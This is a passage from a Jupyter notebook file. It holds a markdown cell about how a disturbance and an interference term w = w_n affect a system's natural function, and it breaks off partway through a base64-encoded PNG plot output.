[ "We can see that the disturbance introduced in the System does not change the bounds of the natural function.\n", "\n", "Now lets study the interference caused by the function $ w = w_n$:" ] }, { "cell_type": "code", "execution_count": 31, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "data": { "image/png": "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\nZs/uNXXOnB4vAI+ZlfUwKplkMtlzzz3